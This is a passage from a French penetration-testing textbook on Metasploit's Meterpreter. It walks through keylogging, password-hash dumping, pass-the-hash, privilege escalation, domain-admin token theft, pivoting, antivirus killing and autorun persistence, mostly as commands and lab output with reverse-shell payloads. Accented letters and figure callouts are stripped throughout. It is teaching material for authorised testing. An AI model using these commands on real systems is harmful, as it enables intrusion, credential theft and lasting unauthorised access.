[*] Recording keystrokes...
[*] Saving last few keystrokes...

root@bt:~# cat /root/.msf3/loot/20110324171334_default_192.168.1.195_host.windows.key_179703.txt
Keystroke log started at Thu Mar 24 17:13:34 -0600 2011

administrator password <Back> <Back> <Back> <Back> <Back> <Back> <Back> <Tab> password123!!
Lexcution de ps en fournit une liste des processus en cours
dexcution, y compris explorer.exe . En , nous rentrons la commande
migrate pour migrer notre session dans lespace de processus
explorer.exe. Une fois que cette migration est termine, nous
commenons le module keylog_recorder en ; on larrte aprs un
certain temps en appuyant sur CTRL+C et enfin, en , dans un autre
terminal, nous listons le contenu du keylogger pour voir ce que nous
avons rcolt.
Rcupration des noms dutilisateurs et des mots de
passe
Dans lexemple prcdent, nous avons rcupr des hashs de mots de
passe en traant ce quun utilisateur a tap. Nous pouvons galement
utiliser Meterpreter pour obtenir les noms dutilisateurs et les hashs de
mots de passe sur un systme de fichiers local sans lutilisation de
keyloggers.
Extraire les mots de passe hachs
Dans cette attaque, nous nous servirons du module de postexploitation
hashdump de Meterpreter pour extraire le nom dutilisateur et les mots de
passe du systme. Microsoft stocke gnralement des hachages pour
LAN Manager (LM), NT LAN Manager (NTLM), et NT LAN
Manager v2 (NTLMv2).
Dans le cas de LM, par exemple, quand un utilisateur entre un mot de
passe pour la premire fois ou modifie un mot de passe, celui-ci est
associ une valeur de hachage. En fonction de la longueur de la valeur
de hachage, le mot de passe peut tre divis en sept caractres. Par
exemple, si le mot de passe est password123456, la valeur de hachage
pourrait tre stocke sous forme de passwor et d123456, ainsi un
attaquant naura tout simplement plus qu casser un mot de passe de sept
caractres au lieu dun de 14 caractres. Avec NTLM, quelle que soit la
taille du mot de passe, password123456 serait stock comme une valeur
de hachage de password123456.
Remarque
Nous utilisons un mot de passe trs complexe que nous ne serions pas en
mesure de cracker dans un laps de temps raisonnable. Notre mot de passe
est plus grand que le maximum de 14 caractres pris en charge par LM, il
a t automatiquement converti en une valeur de hachage NTLM. Mme
avec des rainbow tables ou une machine super puissante, il faudrait une
quantit significative de temps pour cracker ces mots de passe.
Dans le code suivant, nous avons extrait un identifiant et un hash de mot
de passe pour le compte utilisateur Administrateur avec lUID 500 (la
valeur par dfaut du compte Administrateur dans Windows). Les chanes
de caractres qui suivent Administrator:500 sont deux hashs du mot de
passe Administrateur. Cela montre un exemple simple dun nom
dutilisateur et de hashs de mots de passe. Brivement, nous allons
extraire notre propre nom dutilisateur et hash de mot de passe de notre
systme Windows XP.
Administrator:500:e52cac67419a9a22cbb699e2fdfcc59e
:30ef086423f916deec378aac42c4ef0c :::
Le premier hachage en est un hachage LM, et le second en est un
hachage NTLM.
Dcouvrir le mot de passe dun hash
Sur votre machine cible, changez votre mot de passe par quelque chose
de complexe, comme ceciestunlongmotdepasse&&!!@@## et utilisez
Meterpreter pour lister le nom dutilisateur et les hashs de mots de passe
(indiqus dans le listing prcdent) de la cible. Nous tirerons parti de la
commande use priv, ce qui signifie que nous sommes sur un compte
dutilisateur privilgi.
Pour rcuprer la base de donne du gestionnaire de comptes de scurit
(Security Account Manager, SAM), nous devons tre connects avec les
droits SYSTEM afin de contourner les restrictions denregistrement et
rcuprer la SAM protge qui contient les noms dutilisateurs et mots de
passe Windows, comme illustr ci-aprs. Essayez deffectuer ce
scnario sur une machine de test virtuel pour voir si vous pouvez
rcuprer le nom dutilisateur et les mots de passe. Dans cette liste, nous
excutons la commande hashdump, qui rcupre tous les noms
dutilisateur et les mots de passe du systme.
meterpreter > use priv
Loading extension priv...success.
meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29:::
Une valeur de hachage qui commence par aad3b435 est tout simplement
une valeur de hachage vide ou nulle une valeur rserve pour indiquer
une chane vide (quelque chose comme
Administrator:500:NOPASSWD:ntlmhash est galement nul). Parce que
notre mot de passe a plus de 14 caractres, Windows ne peut pas le
stocker sous la forme dun hash LM, et il utilise la chane aad3b435
standard, ce qui reprsente un mot de passe vide.
Le problme avec le hachage LM
Juste pour rire, essayez ce qui suit : changez votre mot de passe par
quelque chose de complexe de 14 caractres ou moins. Puis extrayez
les hashes du systme avec hashdump et copiez la premire valeur de
hachage (comme le dbut de la partie aad3b435 dans lexemple
prcdent), qui est le hash LM. Ensuite, recherchez un des nombreux
crackers de mots de passe en ligne et soumettez votre valeur de
hachage. Attendez quelques minutes, double cliquez sur le bouton
Actualiser : votre mot de passe doit tre crack (attention de ne pas
utiliser lun de vos mots de passe rels, parce que linformation est
souvent affiche tous ceux qui visitent le site).
Il sagit dune attaque par rainbow tables. Une rainbow table est une
table de hachage prcalcule utilise pour inverser les fonctions de
hachage cryptographiques, le plus souvent pour le craquage de mots
de passe. Les rainbow tables utilisent toutes les combinaisons de
caractres, y compris 1-7, a-z, caractres spciaux et espaces.
Lorsque vous soumettez votre hachage un cracker en ligne, le
serveur du site recherche parmi des gigaoctets de rainbow tables la
valeur spcifique de votre hash.
Pass-the-hash
Dans lexemple prcdent, nous avons eu une petite complication : nous
connaissons le nom de lutilisateur administrateur et les hashs de mots de
passe, mais nous mettons trop de temps pour dchiffrer le mot de passe. Si
nous ne connaissons pas ce dernier, comment pouvons-nous nous
connecter des machines supplmentaires et potentiellement
compromettre dautres systmes avec ce compte utilisateur ?
Nous pouvons utiliser la technique pass-the-hash dans laquelle nous
navons que le hash, pas le mot de passe lui-mme. Le module Metasploit
windows/smb/psexec rend tout cela possible, comme indiqu ici :
msf> use windows/smb/psexec
msf exploit(psexec)> set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(psexec)> set LHOST 192.168.33.129
LHOST => 192.168.33.129
msf exploit(psexec)> set LPORT 443
LPORT => 443
msf exploit(psexec)> set RHOST 192.168.33.130
RHOST => 192.168.33.130

. . . SNIP . . .

msf exploit(psexec)> set SMBPass
aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
SMBPass =>
aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
msf exploit(psexec)> exploit
[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user Administrator...
[*] Uploading payload...
[*] Created \JsOvAFLy.exe...
Aprs avoir slectionn le module smb/psexec en et dfini les options
pour LHOST, LPORT et RHOST, nous paramtrons la variable smbpass,
et en nous entrons le hash que nous avons rcupr plus tt. Comme
vous pouvez le voir, lauthentification est russie et nous obtenons notre
session Meterpreter. Nous navons pas eu besoin de casser un mot de
passe, et aucun mot de passe na t ncessaire. Nous avons obtenu des
privilges dadministrateur en utilisant le hash seul.
Lorsque nous avons russi compromettre un systme sur un grand
rseau, dans la plupart des cas, ce systme aura le mme compte
administrateur que plusieurs systmes. Cette attaque nous permettrait de
sauter dun systme lautre sans jamais avoir besoin de casser le mot de
passe lui-mme.
Escalade de privilge
Maintenant que nous avons accs au systme, nous pouvons crer un
compte utilisateur normal avec des autorisations limites en utilisant la
commande net user. Nous allons crer un compte utilisateur pour montrer
comment lever les droits de cet utilisateur (vous en apprendrez plus ce
sujet au Chapitre 8).
Lorsque nous compromettons un compte utilisateur ayant des droits
limits, nous nous retrouvons confronts des restrictions qui nous
empchent dexcuter des commandes qui ncessitent des droits
administrateur. En levant les droits dun compte, nous surmonterons ces
restrictions.
Sur une machine Windows XP cible, nous entrons la commande suivante :
C:\Documents and Settings\Administrator>net user bob password123
/add.
Ensuite, nous crons un payload Meterpreter, payload.exe, que vous
copiez dans la machine XP cible et que vous excutez sous le compte
utilisateur bob. Ce sera notre nouveau compte dutilisateur limit. Dans
cet exemple, nous allons utiliser msfpayload pour crer une payload
Meterpreter base dun excutable Windows normal (nous aborderons
msfpayload plus en dtail au Chapitre 7).
root@bt:/opt/framework3/msf3# msfpayload
LHOST=192.168.33.129 LPORT=443 X > payload.exe
root@bt:/opt/framework3/msf3# msfcli multi/handler
PAYLOAD=windows/meterpreter/reverse_tcp
LHOST=192.168.33.129 LPORT=443 E
[*] Starting the payload handler...
[*]
192.168.33.130:1056)
meterpreter > getuid
Server username: IHAZSECURITY\bob
Les options LHOST et LPORT demandent Metasploit de crer un
payload Meterpreter qui doit se connecter en retour notre machine
attaquante sur le port 443. Nous appelons ensuite linterface msfcli pour
dmarrer un listener handler. Ce handler (gestionnaire dcoute) attendra
les connexions, et quand il en recevra une, il engendrera un shell
Meterpreter.
Sur la machine de lattaquant, nous crons un nouvel excutable
Meterpreter autonome en , copions lexcutable sur la machine
Windows XP et lexcutons sous le compte utilisateur bob.
Nous mettons ensuite en place un listener en pour se mettre en attente
de la connexion Meterpreter. Une fois que la cible excute le payload sur
le systme (payload.exe), nous voyons une console Meterpreter ayant des
droits utilisateur limits en . Nous pouvons, par exemple, gnrer un
payload.exe sur une machine Back|Track, copier le fichier excutable
sur une machine Windows XP et configurer un listener pour obtenir une
session Meterpreter.
Comme indiqu dans le listing suivant, on lance un shell Meterpreter en
puis on saisit net user bob. Nous pouvons voir que lutilisateur bob est un
membre du groupe Utilisateurs, quil nest pas un administrateur et a des
droits limits. Nous avons une marge de manuvre dattaque limite
contre ce systme, et nous ne pouvons pas effectuer certaines attaques
telles que le dumping de la base de donnes SAM pour extraire les noms
dutilisateur et les mots de passe (heureusement, Meterpreter nous a
couverts, comme vous le verrez dans un instant). Notre requte tant
faite, nous pressons CTRL+Z, ce qui enregistre notre session Meterpreter
et nous maintient dans le systme exploit.
meterpreter > shell
Channel 1 created.
C:\>net user bob

. . . SNIP . . .

Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.
C:\>^Z
Background channel 1? [y/N] y
Remarque
Voici une autre astuce Meterpreter : pendant que vous tes dans la
console Meterpreter, entrez background pour retourner dans msfconsole
et quitter la session en cours dexcution. Ensuite, entrez sessions -l et
sessions -i sessionid pour revenir votre console Meterpreter.
Maintenant, nous allons obtenir des droits administrateur ou SYSTEM.
Comme le montre le listing suivant, nous entrons use priv pour charger les
extensions priv, ce qui nous procure laccs au module privilgi (qui
peut dj tre charg). Ensuite, nous entrons getsystem afin dlever
notre privilge celui du systme local ou administrateur. Nous avons
ensuite vrifi que nous avons des privilges dadministrateur avec la
commande getuid. Le nom dutilisateur du serveur retourn est NT
AUTHORITY\SYSTEM, qui nous dit que nous avons russi obtenir
laccs administrateur.
Loading extension priv...success.
meterpreter > getsystem
...got system (via technique 4).
Server username: NT AUTHORITY\SYSTEM
Pour revenir au compte utilisateur prcdent o nous avons dabord eu
notre shell Meterpreter, nous utiliserons rev2self.
Usurpation de ticket Kerberos
Dans lusurpation de jeton demprunt, on rcupre un jeton Kerberos sur
la machine de la cible et on lutilise la place de lauthentification afin
demprunter lidentit de son crateur. Le jeton demprunt est trs utile
pour les tests de pntration et il peut tre lune des fonctions les plus
puissantes de Meterpreter.
Imaginez le scnario suivant : vous effectuez un test de pntration dans
votre socit, et vous avez russi compromettre le systme et ouvert
une console Meterpreter. Un compte administrateur sest connect dans
les treize dernires heures. Lorsque ce compte se connecte, un jeton
Kerberos est transmis au serveur (single sign-on) et est valable pour une
certaine priode de temps. Vous exploitez ce systme via le jeton
Kerberos valide et actif, et travers Meterpreter vous russissez
emprunter le rle dadministrateur, sans avoir besoin du mot de passe.
Ensuite, vous piratez un compte administrateur de domaine ou vous
recherchez un compte de contrleur de domaine. Cest probablement
lun des moyens les plus faciles davoir accs un systme et un autre
exemple de lutilit de Meterpreter.
Utilisation de ps
Pour cet exemple, nous allons utiliser la fonction Meterpreter ps pour
lister les applications en cours dexcution et montrer sous quel compte
elles sont en cours dexcution. Nous allons utiliser le nom de domaine
SNEAKS.IN et le compte utilisateur ihazdomainadmin .
meterpreter > ps

Process list
============

PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0
[System
Process]

4 System x86 0 NT AUTHORITY\SYSTEM
380 cmd.exe x86 0 SNEAKS.IN\ihazdomainadmin \System\Root\System32\cmd.exe

. . . SNIP . . .

meterpreter >
Comme indiqu dans la liste ci-aprs, nous tirons profit de steal_token et
du PID (380 dans ce cas) pour voler le jeton de lutilisateur et usurper le
rle de ladministrateur du domaine :
meterpreter > steal_token 380
Stolen token with username: SNEAKS.IN\ihazdomainadmin
meterpreter >
Nous avons russi usurper le compte dadministrateur de domaine et
Meterpreter est maintenant en cours dexcution pour le compte de cet
utilisateur.
Dans certains cas, ps ne peut numrer un processus en cours
dexcution en tant quadministrateur de domaine. Nous pouvons tirer
parti dincognito pour lister les jetons disponibles sur le systme. Lorsque
vous effectuez un test de pntration, vous devez vrifier la sortie de ps
et dincognito parce que les rsultats peuvent varier.
Nous chargeons incognito avec use incognito, puis listons les jetons avec
list_tokens -u. En parcourant la liste des jetons, nous voyons le compte
utilisateur SNEAKS.IN\ihazdomainadmin en . Maintenant, nous
pouvons usurper lidentit de quelquun dautre.
meterpreter > use incognito
Loading extension incognito...success.
meterpreter > list_tokens -u
[-
]
Warning:Not currently running as SYSTEM, not all tokens will be
available
Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
SNEAKS.IN\ihazdomainadmin
IHAZSECURITY\Administrator
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
Comme indiqu dans la liste suivante, nous avons russi usurper le jeton
ihazdomainadmin en et ajouter un compte dutilisateur en , auquel
nous avons ensuite donn les droits dadministrateur de domaine en
(assurez-vous dutiliser deux backslashes \\ en entrant dans le
DOMAIN\USERNAME en ). Notre contrleur de domaine est
192.168.33.50.
meterpreter > impersonate_token SNEAKS.IN\\ihazdomainadmin
[+] Delegation token available
[+] Successfully impersonated user SNEAKS.IN\ihazdomainadmin
meterpreter > add_user omgcompromised p@55w0rd! -h
192.168.33.50
[*] Attempting to add user omgcompromised to host 192.168.33.50
[+] Successfully added user
meterpreter > add_group_user "Domain Admins" omgcompromised
-h 192.168.33.50
[*]
Attempting to add user omgcompromised to group Domain Admins
on domain controller 192.168.33.50
[+] Successfully added user to group
En entrant les commandes add_user et add_group_user, noubliez pas de
spcifier loption -h, qui spcifie Incognito o ajouter le compte
dadministrateur de domaine. Dans ce cas, cest ladresse IP dun
contrleur de domaine. Les consquences de cette attaque sont
dvastatrices. Fondamentalement, le jeton Kerberos peut tre affect sur
tout systme auquel se connecte un administrateur de domaine, ce qui
permet daccder lensemble du domaine. Cela signifie que chaque
serveur de votre rseau est votre maillon le plus faible !
Le Pivot est une mthode Meterpreter qui permet dattaquer dautres
systmes sur un rseau via la console Meterpreter. Par exemple, si un
attaquant veut compromettre un systme, il pourrait se servir du pivot
pour compromettre dautres systmes sur le mme rseau ou accder
des systmes auxquels il naurait pas pu acheminer le trafic autrement,
pour une raison quelconque.
Par exemple, supposons que vous effectuez un test de pntration depuis
Internet. Vous compromettez un systme via une vulnrabilit et avez
une console Meterpreter vers le rseau interne. Vous ne pouvez pas
accder directement dautres systmes sur le rseau, parce que le
systme que vous avez compromis ne peut pas vous fournir tout ce dont
vous avez besoin pour le faire, mais vous avez besoin de pntrer
davantage le rseau. Pivoter vous permettra dattaquer plusieurs systmes
sur le rseau interne via Internet, en utilisant la console Meterpreter.
Dans lexemple suivant, nous allons attaquer un systme dun sous-rseau
et router notre trafic via ce systme pour attaquer un autre systme. Nous
commencerons par exploiter la machine Windows XP, puis nous allons
propager lattaque de notre machine attaquante un systme Ubuntu sur
le rseau interne. Nous allons venir nous connecter une adresse
10.10.1.1/24 et attaquer les systmes au sein du rseau 192.168.33.1/24.
Nous partons du principe que nous avons dj accs un serveur via une
compromission et mettrons laccent sur ltablissement dune connexion
ce rseau. Ensuite, nous allons introduire des scripts externes crits avec
Meterpreter qui peuvent tre trouvs dans le rpertoire
scripts/meterpreter/ Ces scripts offrent des fonctionnalits
supplmentaires que nous pouvons utiliser dans Meterpreter.
Nous commenons par laffichage des sous-rseaux locaux sur le
systme compromis dans une session Meterpreter avec run
get_local_subnets, comme indiqu en .
[*]
192.168.33.130:1075)

meterpreter > run get_local_subnets
Local subnet: 192.168.33.0/255.255.255.0
meterpreter > background
msf exploit(handler) > route add 192.168.33.0 255.255.255.0 1
msf exploit(handler) > route print

Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
192.168.33.0 255.255.255.0 Session 1
Nous avons russi compromettre notre machine Windows XP et avoir
un accs complet celle-ci. Ensuite, nous plaons en arrire plan notre
session active en et ajoutons une commande route au framework en ,
lui indiquant de router le rseau ID distant vers la session 1, la session
Meterpreter en arrire-plan. Nous affichons ensuite les routes actives
avec route print en , et nous pouvons clairement voir en que, comme
nous lavons souhait, le routage est actif.
Ensuite, nous allons mettre en place un second exploit contre le systme
cible Linux. Lexploit spcifique ici est un heap overflow bas sur Samba,
qui sera vulnrable sur notre machine Metasploitable.
use msf exploit(handler) > use linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) > set payload
linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(lsa_transnames_heap) > set LHOST 10.10.1.129
LHOST => 10.10.1.129
msf exploit(lsa_transnames_heap) > set LPORT 8080
LPORT => 8080
msf exploit(lsa_transnames_heap) > set RHOST 192.168.33.132
RHOST => 192.168.33.132
msf exploit(lsa_transnames_heap) > ifconfig
[*] exec: ifconfig

eth0 Link encap:Ethernet HWaddr 00:0c:29:47:e6:79
inet addr:10.10.1.129 Bcast:10.10.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe47:e679/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500
Metric:1
RX packets:23656 errors:0 dropped:0 overruns:0 frame:0
TX packets:32321 errors:0 dropped:0 overruns:0 carrier:0
RX bytes:4272582 (4.2 MB) TX bytes:17849775 (17.8 MB)
Interrupt:19 Base address:0x2000

Lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:600 errors:0 dropped:0 overruns:0 frame:0
TX packets:600 errors:0 dropped:0 overruns:0 carrier:0
RX bytes:41386 (41.3 KB) TX bytes:41386 (41.3 KB)

msf exploit(lsa_transnames_heap) > exploit

[*] Creating nop sled....
[*]
Binding to 12345778-1234-abcd-ef00-
0123456789ab:0.0@ncacn_np:192.168.33.132[\lsarpc] ...
[*]
Bound to 12345778-1234-abcd-ef00-
[*]
[*]
Bound to 12345778-1234-abcd-ef00-
[*]
[*]
Bound to 12345778-1234-abcd-ef00-
[*]
192.168.33.132:1608)
Comparez les variables LHOST et RHOST linformation de rseau
affiche par ifconfig . Notre option LHOST spcifie ladresse IP de
notre machine attaquante. Notez galement que ladresse IP de loption
RHOST est configure sur un autre sous-rseau et que nous attaquons des
systmes en tablissant un tunnel par lequel nous allons faire transiter le
trafic par le biais de notre machine cible compromise vers dautres
systmes sur le rseau de la cible. Nous tirons parti de lattaque pivoting
via Metasploit pour faire transiter les communications par le biais de
notre machine exploite vers la machine cible qui se trouve sur le sous-
rseau local. Dans ce cas, si le heap overflow russit, nous devrions
obtenir un reverse shell depuis 192.168.33.132, simplement en nous
appuyant sur les communications rseau sur la machine dj compromise.
Quand nous excutons lexploit avec exploit, nous voyons en quune
connexion est tablie comme prvu sur une autre machine, pas la
machine Windows XP. Maintenant, pour scanner les ports travers le
pivot, nous utiliserons le module de scan scanner/portscan/tcp, qui est
conu pour grer le routage par le biais de Metasploit.
Note
Vous pouvez galement utiliser le scanner scanner/portscan/tcp pour
effectuer une srie de scans de ports travers votre cible compromise
sur le sous-rseau local. Nous nentrerons pas dans les dtails ici, mais
sachez que vous pouvez effectuer un scan de ports sur un rseau
compromis grce ce module.
Dans les exemples prcdents, nous avons utilis la commande route add
aprs avoir compromis le systme. Une alternative serait, afin dajouter
des routes automatiquement Meterpreter sur une nouvelle session,
dutiliser load auto_add_route :
msf exploit(ms08_067_netapi) > load auto_add_route
[*] Successfully loaded plugin: auto_add_route

msf exploit(ms08_067_netapi) > exploit
[*]
192.168.33.130:1090)
[*]
AutoAddRoute: Routing new subnet 192.168.33.0/255.255.255.0
through session 1
Plusieurs scripts Meterpreter externes peuvent aider numrer un
systme ou excuter des tches prdfinies lintrieur du shell
Meterpreter. Nous ne les couvrirons pas tous ici, mais nous en citerons
tout de mme quelques-uns des plus remarquables.
Remarque
Les scripts Meterpreter sont en cours de modification en module de
postexploitation. Nous allons couvrir la fois les scripts et les modules de
postexploitation dans ce chapitre.
Pour excuter un script partir de la console Meterpreter, entrez run
scriptname. Le script pourra soit tre excut soit fournir une aide
supplmentaire sur la faon de lexcuter.
Si vous souhaitez utiliser une interface graphique interactive distance
sur le systme, vous pouvez utiliser le protocole VNC pour tunneler les
communications Active Desktop et interagir avec linterface graphique
du bureau sur la machine cible. Mais dans certains cas, le systme peut
tre verrouill et vous ne pourrez pas y accder. Nayez crainte :
Metasploit va nous aider.
Dans lexemple suivant, nous effectuons la commande run vnc, qui
installe une session VNC sur le systme distant. partir de l, nous
lanons run screen_unlock pour dverrouiller la machine cible afin que
nous puissions afficher le bureau. En consquence, une fentre VNC
devrait apparatre, qui nous montre le bureau cible.
meterpreter > run vnc
[*]
Creating a VNC reverse tcp stager: LHOST=192.168.33.129
LPORT=4545)
[*] Running payload handler
[*] VNC stager executable 37888 bytes long
[*]
Uploaded the VNC agent to C:\WINDOWS\TEMP\CTDWtQC.exe
(must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.33.129:4545...
[*]
VNC Server session 2 opened (192.168.33.129:4545 ->
192.168.33.130:1091)
Cela nous donnera une interface graphique VNC sur la machine cible et
nous permettre dinteragir via un bureau.
meterpreter > run screen_unlock
[*]
OS Windows XP (Build 2600, Service Pack 2). found in known
targets
[*] patching...
[*] done!
Migration dun processus
Souvent, lorsque nous nous attaquons un systme et exploitons un
service tel quInternet Explorer, si lutilisateur ferme le navigateur cible,
la session Meterpreter est galement ferme et nous perdons notre
connexion la cible. Pour viter ce problme, on peut utiliser le module
de postexploitation migrate, illustr ci-aprs, pour faire migrer le service
vers un espace mmoire qui ne se clos pas lorsque la cible ferme le
navigateur. En migrant vers un autre processus plus stable, nous nous
assurons que le processus ne sera pas ferm et que nous maintiendrons
notre connexion au systme.
meterpreter > run post/windows/manage/migrate
[*] Running module against V-MAC-XP
[*] Current server process: revterp.exe (2436)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 816
[*] New server process: Explorer.EXE (816)
Tuer un logiciel antivirus
Un logiciel antivirus peut bloquer certaines tches. Au cours de tests de
pntration, nous avons vu des antivirus "plus intelligents" ou des produits
de prvention dintrusion bloquant notre capacit excuter certains
vecteurs dattaque. Dans de tels cas, on peut excuter le script killav pour
stopper les processus empchant lexcution de nos tches.
meterpreter > run killav
[*] Killing Antivirus services on the target...
[*] Killing off cmd.exe...
[*] Killing off cmd.exe...
Obtenir les hashes des mots de passe du systme
Lobtention dune copie des hashes du systme nous permet dexcuter
lattaque pass-the-hash ou de bruteforcer le hash pour rvler le mot de
passe en texte clair. Nous pouvons obtenir les mots de passe hachs avec
la commande run hashdump :
meterpreter > run hashdump
[*] Calculating the hboot key using SYSKEY de4b35306c5f595438a2f78f768772d2...

Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
Voir tout le trafic sur un ordinateur cible
Pour voir lensemble du trafic sur une cible, nous pouvons lancer un
enregistreur de paquets. Tout ce qui est captur par packetrecorder est
enregistr dans un fichier au format .pcap analyser avec un outil tel que
Wireshark.
Dans cette introduction, nous excutons le script packetrecorder avec
loption -i 1, qui spcifie linterface que nous voulons utiliser pour
effectuer les captures de paquets :
meterpreter > run packetrecorder -i 1
[*] Starting Packet capture on interface 1
[*] Packet capture started
Scraping dun systme
Le script scraper numre tout ce que vous pourriez vouloir dun
systme. Il va rcuprer les noms dutilisateur et les mots de passe,
tlcharger lensemble du registre, rcuprer les hashes de mots de
passe, recueillir des informations sur le systme et exporter la
HKEY_CURRENT_USER (HKCU).
meterpreter > run scraper
[*] New session on 192.168.33.130:1095...
[*] Gathering basic system information...
[*] Obtaining the entire registry...
[*] Exporting HKCU
[*] Downloading HKCU (C:\WINDOWS\TEMP\XklepHOU.reg)
Utiliser Persistence
Le script persistence de Meterpreter permet dinjecter un agent
Meterpreter pour sassurer que Meterpreter restera oprationnel, mme
aprs le redmarrage du systme cible. Sil sagit dune reverse
connection, vous pouvez dfinir la priode laquelle la cible tentera
rgulirement de se connecter la machine attaquante. Si cest une bind,
vous pouvez vous reconnecter linterface au moment voulu.
Avertissement
Si vous utilisez cette fonctionnalit, assurez-vous de la retirer lorsque
vous avez termin. Si vous oubliez de le faire, nimporte quel attaquant
peut galement accder au systme sans authentification !
Dans le shell suivant, nous lanons persistence et indiquons Windows
dactiver automatiquement lagent au moment du dmarrage (-X),
dattendre cinquante secondes (-i 50) avant deffectuer une nouvelle
tentative de connexion, sur le port 443 (-p 443) et de se connecter lIP
192.168.33.129. Nous lanons ensuite un listener pour lagent en avec
use multi/handler et, aprs avoir rgl quelques options et excut
lexploit, nous voyons en que la connexion revient comme prvu.
meterpreter > run persistence -X -i 50 -p 443 -r 192.168.33.129
[*]
Creating a persistent agent: LHOST=192.168.33.129 LPORT=443
(interval=50 onboot=true)
[*] Persistent agent script is 316384 bytes long
[*]
Uploaded the persistent agent to
C:\WINDOWS\TEMP\asSnqrlUDRwO.vbs
[*] Agent executed with PID 3160
[*]
Installing into autorun as
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xEYnaHedooc
[*]
Installed into autorun as
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
xEYnaHedooc
msf> use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > set LHOST 192.168.33.129
LHOST => 192.168.33.129
msf exploit(handler) > exploit

[*]
192.168.33.130:1120)
ce jour, la seule faon dliminer lagent Meterpreter est de supprimer
lentre dans HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
dans la base de registre et de supprimer le code VBScript situ dans
C:\WINDOWS\TEMP\. Assurez-vous de noter les cls de registre et les
emplacements (tels que HKLM\Software\Microsoft\
Windows\CurrentVersion\Run\xEYnaHedooc ) pour les supprimer
manuellement. Gnralement, vous pouvez le faire via Meterpreter.
Sinon, renvoyez-les vers un shell et retirez-les de cette faon. Si vous
vous sentez plus laise avec une interface graphique, vous pouvez
utiliser run vnc et supprimer le script avec regedit (notez que les cls de
registre vont changer chaque fois, alors assurez-vous de noter
correctement o Metasploit les a ajoutes).
Comme mentionn prcdemment, les scripts Meterpreter sont peu peu
transforms en modules de postexploitation. Cette transition vers les
modules de post-exploitation apportera enfin un standard et un format
consistant aux modules Metasploit. Au cours des chapitres suivants, vous
verrez la structure globale des modules auxiliaires et exploits. Dans le
pass, des scripts de Meterpreter utilisaient leurs propres formats, qui se
traduisaient par un comportement trs diffrent de celui des autres
modules.
Un avantage supplmentaire de cette harmonisation des modules au
mme format, cest la capacit deffectuer la mme attaque sur toutes les
sessions disponibles. Supposons, par exemple, que vous avez dix shells
Meterpreter ouverts. Dans le mode classique, vous devez excuter
hashdump sur chaque shell ou crire des scripts personnaliss pour faire
interagir les consoles. Dans le nouveau format, vous serez en mesure
dinteragir avec chaque session et deffectuer hashdump sur plusieurs
systmes en cas de besoin.
Le shell suivant montre un exemple de la faon dutiliser les modules de
postexploitation :
meterpreter > run post/windows/gather/hashdump
[*]
Calculating the hboot key using SYSKEY
de4b35306c5f595438a2f78f768772d2...
Pour voir la liste des modules de postexploitation, entrez la commande
suivante, puis appuyez sur la touche TAB de votre clavier la fin de la
ligne :
meterpreter > run post/
Upgrade dun shell de commandes un shell
Meterpreter
Une des fonctionnalits les plus rcentes du Framework Metasploit est sa
capacit dupgrader un payload de type shell de commande en un
payload Meterpreter une fois que le systme a t exploit, en excutant
la commande sessions -u. Ceci est trs utile si lon utilise un payload type
shell de commande comme tape initiale et quensuite on dcouvre que le
nouveau systme exploit serait une plateforme dexploitation parfaite
pour de nouvelles attaques dans le rseau. Regardons un exemple rapide
et complet utilisant MS08-067 avec un reverse shell comme payload, puis
en lupgradant vers un shell Meterpreter.
msf > search ms08_067
[*] Searching loaded modules for pattern ms08_067...

Exploits
========

---- ---- -----------
windows/smb/ms08_067_netapi great
Relative Path Stack
Corruption

msf exploit(ms08_067_netapi) > set PAYLOAD
windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
target => 3
msf exploit(ms08_067_netapi) > setg LHOST 192.168.33.129
LHOST => 192.168.33.129
msf exploit(ms08_067_netapi) > setg LPORT 8080
LPORT => 8080
msf exploit(ms08_067_netapi) > exploit -z

[*]
192.168.33.130:1032)
[*] Session 1 created in the background.
msf exploit(ms08_067_netapi) > sessions -u 1


. . . SNIP . . .

msf exploit(ms08_067_netapi) > [*] Meterpreter session 2 opened
(192.168.33.129:8080 -> 192.168.33.130:1044)
meterpreter >
En nous passons la commande setg pour LHOST et LPORT, qui est
ncessaire pour que sessions -u 1 upgrade notre shell un Meterpreter en
(la commande setg dfinit LPORT et LHOST globalement dans
Metasploit, pas seulement pour cet exploit).
Notez en que, lorsque nous exploitons le systme, nous effectuons la
commande exploit -z, qui ninteragira pas avec la session une fois que la
cible aura t exploite. Si vous avez dj excut la commande exploit
ce stade, vous pouvez simplement appuyer sur CTRL+Z et excuter la
session en arrire-plan.
Manipulation des API Windows avec ladd-on Railgun
Vous pouvez utiliser lAPI Windows native directement depuis un add-on
Metasploit appel Railgun, qui a t crit par Patrick HVE. En ajoutant
